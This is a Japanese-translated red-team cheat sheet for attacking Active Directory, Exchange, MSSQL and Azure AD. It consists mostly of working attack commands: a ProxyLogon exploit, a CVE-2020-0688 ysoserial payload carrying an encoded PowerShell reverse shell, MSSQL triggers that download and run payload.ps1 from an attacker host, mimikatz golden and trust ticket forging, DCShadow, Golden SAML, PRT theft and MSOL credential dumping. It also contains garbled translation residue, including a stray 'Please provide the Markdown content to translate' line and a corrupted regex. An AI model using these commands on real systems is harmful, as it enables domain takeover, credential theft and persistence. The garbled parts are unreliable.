**OAB(オフラインアドレス帳)抽出**

*レコードを含むOAB.XMLファイルを抽出する*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/oab.xml > oab.xml

cat oab.xml |grep '.lzx' |grep data
```
*LZX圧縮ファイルを展開する*```bash
curl -k --ntlm -u '$domain\$user:$password' https://$domain/OAB/$OABUrl/$OABId-data-1.lzx > oab.lzx

./oabextract oab.lzx oab.bin && strings oab.bin |egrep -o "(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|"(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21\x23-\x5b\x5d-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])*")@(?:(?:[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?\.)+[a-z0-9](https://github.com/ristbs/awesome-redteam-cheatsheet/blob/HEAD/?:%5Ba-z0-9-%5D*%5Ba-z0-9%5D)?|\[(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?|[a-z0-9-]*[a-z0-9]:(?:[\x01-\x08\x0b\x0c\x0e-\x1f\x21-\x5a\x53-\x7f]|\\[\x01-\x09\x0b\x0c\x0e-\x7f])+)\])" | sort -u > emails.txt
```
> [oaburl.py](https://gist.github.com/snovvcrash/4e76aaf2a8750922f546eed81aa51438) を使用 :```powershell
./oaburl.py $domain/$user:[email protected] -e [email protected]
```
### PrivExchange

**[PrivExchange](https://github.com/dirkjanm/PrivExchange) はPushSubscription機能を使用しており、ユーザーはExchangeサーバーのNTLM認証データをキャプチャできます。単純な"PushSubscription"APIへの呼び出しで**```bash
responder -I eth0 -Av
python3 privexchange.py -d $domain -u $user -p $password -ah -ap '/test/test/test' mx.server.com --debug
```
### ProxyLogon

**[ProxyLogon](https://github.com/hausec/ProxyLogon)は、攻撃者がMS Exchangeサーバーで認証をバイパスし、ユーザーになりすますことを可能にするCVE-2021-26855に付けられた名前です。**```bash
python proxylogon.py $ip user@fqdn
```
> metasploitを使用する:```bash
use auxiliary/scanner/http/exchange_proxylogon
use auxiliary/gather/exchange_proxylogon
use exploit/windows/http/exchange_proxylogon_rce
```
### CVE-2020-0688

このCVEは、固定された暗号鍵を使用してEWS上でRCEを許可します

*RCEのための値を取得:*
- *ViewStateUserKey* : `document.getElementById("_VIEWSTATEGENERATOR").value`
- *ViewStateGenerator* : `ASP.NET_SessionId````powershell
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell -exec bypass -enc JHNtPShOZXctT2JqZWN0IE5ldC5Tb2NrZXRzLlRDUENsaWVudCgiMTAuMTAuMTQuOSIsOTAwNikpLkdldFN0cmVhbSgpO1tieXRlW11dJGJ0PTAuLjY1NTM1fCV7MH07d2hpbGUoKCRpPSRzbS5SZWFkKCRidCwwLCRidC5MZW5ndGgpKSAtbmUgMCl7OyRkPShOZXctT2JqZWN0IFRleHQuQVNDSUlFbmNvZGluZykuR2V0U3RyaW5nKCRidCwwLCRpKTskc3Q9KFt0ZXh0LmVuY29kaW5nXTo6QVNDSUkpLkdldEJ5dGVzKChpZXggJGQgMj4mMSkpOyRzbS5Xcml0ZSgkc3QsMCwkc3QuTGVuZ3RoKX0=" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="05ae4b41-51e1-4c3a-9241-6b87b169d663" --isdebug –islegacy
```
## MSSQL Server

### UNC パスインジェクション

[ ❓ ] : Uniform Naming Convention は、ネットワーク上のリソース共有を非常に正確な構文で__可能にします__ : `\IP-Server\shareName\Folder\File`

responder を起動 : `responder -I eth0````sql
EXEC master..xp_dirtree \"\\\\192.168.1.33\\\\evil\";
```
```sql
1'; use master; exec xp_dirtree '\\10.10.15.XX\SHARE';--
```
### MC-SQLR Poisoning

*SQL Server Resolution Protocolは、クライアントとデータベースサーバーのディスカバリーサービス間のリクエストとレスポンスの転送に使用されるシンプルなアプリケーションレベルプロトコルです。*```vbs
CreateObject("ADODB.Connection").Open "Provider=SQLNCLI11;Data Source=DOESNOTEXIST\INSTANCE;Integrated Security=SSPI;"
```
> このVBAスクリプトを使用して、**Administrator**のハッシュを取得しました。```python
[+] Listening for events...
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL-BROWSER] Sending poisoned browser response to 10.10.14.33
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[*] [LLMNR]  Poisoned answer sent to 10.10.14.33 for name doesnotexist
[MSSQL] NTLMv2 Client   : 10.1.2.3
[MSSQL] NTLMv2 Username : TEST\Administrator
[MSSQL] NTLMv2 Hash     : Administrator::TEST:1122334455667788...
```
### DML, DDL and Logon Triggers

[ ❓ ] : **Triggers** は、SQL Server でイベントが発生したときに自動的に実行されるストアドプロシージャです。

- Data Definition Language (DDL) – Create、Alter、Drop ステートメントおよび一部のシステム ストアド プロシージャで実行されます。
- Data Manipulation Language (DML) – Insert、Update、Delete ステートメントで実行されます。
- Logon Triggers – ユーザーのログオン時に実行されます。

**Triggers の一覧**

*すべてのトリガーを一覧表示*```sql
SELECT * FROM sys.server_triggers
```
*データベースのトリガーを一覧表示する*```sql
SELECT * FROM sys.server_triggers
```
*PowerShellを使用してインスタンス上のDDLおよびDMLトリガーを一覧表示する*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*持続性のためにDMLトリガーを使用する*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*永続性のためにDDLトリガーを使用する*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*永続化のためにログオントリガーを使用する*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## フォレストの永続性

### DCShadow

**DCShadowはターゲットドメインに新しいドメインコントローラを一時的に登録し**、それを使用して、変更されたオブジェクトの変更ログを残さずに、指定されたオブジェクトにSIDHistory、SPNなどの属性を「プッシュ」します!

*⚠️ 必要条件 :*
- DCShadowを使用するにはDA権限が必要です。
- 攻撃者のマシンはルートドメインの一部である必要があります。

攻撃には、侵害されたマシン上で2つのインスタンスが必要です :

**1 インスタンス :** *RPCサーバーをSYSTEM権限で起動し、変更する属性を指定する*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 インスタンス :** *DAの十分な権限を持って値をプッシュするには :*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## クロスフォレスト攻撃

### トラストチケット

*トラストキーのダンプ*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Trust keyを使用したIR-TGTの偽造*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*CIFSサービスのTGSを取得*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*CIFSサービスにTGSを使用する*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### KRBTGTハッシュの使用```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'

Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory

### AZ ユーザー列挙

*Azure Active Directory への接続に **Connect-MsolService** を使用する。*```powershell
PS> Connect-MsolService -Credential $cred
```
*このコマンドはMFA(多要素認証)を使用した列挙を許可します。*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*Azure AD Connect Server を見つける*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### AZ CLIを使用した列挙

**ストレージ列挙**

*blobストレージ列挙*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure

*新しいユーザーを作成する*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*指定されたVM上でコマンドを実行します*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML

*⚠️ 必要条件 :*
- ADFSサーバーの管理者権限
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`

> `ADFS Public Certificate`を入手する:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> `IdP Name`を取得する:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> `Role Name` を取得:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
a toolkit to exploit Golden SAML can be found [here](https://github.com/secureworks/whiskeysamlandfriends)

> ** Golden SAML はゴールデンチケットに類似し、Kerberos プロトコルに影響を与えます。ゴールデンチケットと同様に、Golden SAML により攻撃者は SAML エージェントによって保護されたリソース(例: Azure、AWS、vSphere、Okta、Salesforce...)へのアクセスを、ゴールデンチケットを通じて昇格した権限で可能にします。**

*ShockNAwe:*
- 1. AD FS 構成設定をリモートで抽出する
- 2. Golden SAML トークンを偽造し署名する
- 3. Golden SAML トークンの‘アサーション’部分を抽出し、Azure Core Management API に渡して、API の有効なアクセストークンを取得する
- 4. サブスクリプション ID を列挙する
- 5. サブスクリプション内の VM の完全なリストを列挙する
- 6. すべての VM 上で SYSTEM/root として任意のコマンドを実行する

*WhiskeySAML:*
- 1. AD FS 構成設定をリモートで抽出する
- 2. Golden SAML トークンを偽造し署名する
- 3. Golden SAML トークンを Microsoft Azure ポータルに渡す
- 4. Azure MFA 構成をバイパスしながら、任意のユーザーとして Azure ポータルにログインする```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### PRT操作

#### PassThePRT

*AzureAdJoined Status を確認し、Mimikatz をダウンロードする:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
*検索中: **prt** と **KeyValue**:*```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*使用 **APKD関数** を使用して **KeyValue** をデコードし、**"Context"** と **"DerivedKey"** の値を保存します:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
Please provide the Markdown content to translate.```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt

---SNIP---
Signed JWT : eyJ...
```
*[lantern](https://github.com/ConstantinT/Lantern) を使用して PRT-Cookie を偽造:*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*JWTを生成する*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### MSOL Service Account

> Azure AD Connect Sync で使用される MSOL サービスアカウントを [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c) でダンプし、そのダンプした認証情報を使って DCsync 攻撃を開始できます。

*MSOL アカウントを使った DCSync*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## その他

### ドメインレベルの属性

#### MachineAccountQuota (MAQ) の悪用

crackmapexec (CME) を maq モジュールと共に使用:

`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`

#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP        10.10.13.100       389    dc1       Guest      badpwdcount: 0 pwdLastSet: <never>
```
### ADにおけるIPv6の悪用

ping6を使用してターゲットにICMPv6パケットを送信 :

`ping6 -c 3 <target>`

nmapを使用してIPv6アドレスをスキャン :

`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`



IPv6用にツールを適応させるためのヒント :```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
socket Pythonライブラリから、AF_INETの値をAF_INET6に置き換えることができます:```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### 不正なDHCP

`mitm6 -i eth0 -d 'domain.job.local'`


#### IOXIDResolver インターフェース列挙

これは、NetworkAddrフィールド内のアドレスを [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants) レベルで列挙する小さなスクリプトです。```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter

RPC_C_AUTHN_DCE_PUBLIC  = 2

stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
    adr = bind['aNetworkAddr']
    print("Adresse:", adr)
```
## 参考文献

- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml
ツールをダウンロード
ExecutionPolicy
  • 資格情報ダンプのためのRunAsPPL
  • ETWの無効化
  • MS Exchange
    • OWA、EWS、EASのパスワードスプレー
    • GALとOABの抽出
    • PrivExchange
    • ProxyLogon
    • CVE-2020-0688
  • MSSQLサーバー
    • UNCパスインジェクション
    • MC-SQLRポイズニング
    • DML、DDL、ログオントリガー
  • フォレストの永続化
    • DCShadow
  • クロスフォレスト攻撃
    • トラストチケット
    • KRBTGTハッシュの使用
  • Azure Active Directory (AAD)
    • AZユーザー列挙
    • PowerZure
    • Golden SAML
    • PRT操作
    • MSOLサービスアカウント
  • その他
    • ドメインレベルの属性
      • MachineAccountQuota (MAQ) の悪用
      • Bad-Pwd-Count
    • ADにおけるIPv6の悪用
      • 不正なDHCP
      • IOXIDResolverインターフェースの列挙
    • 参考文献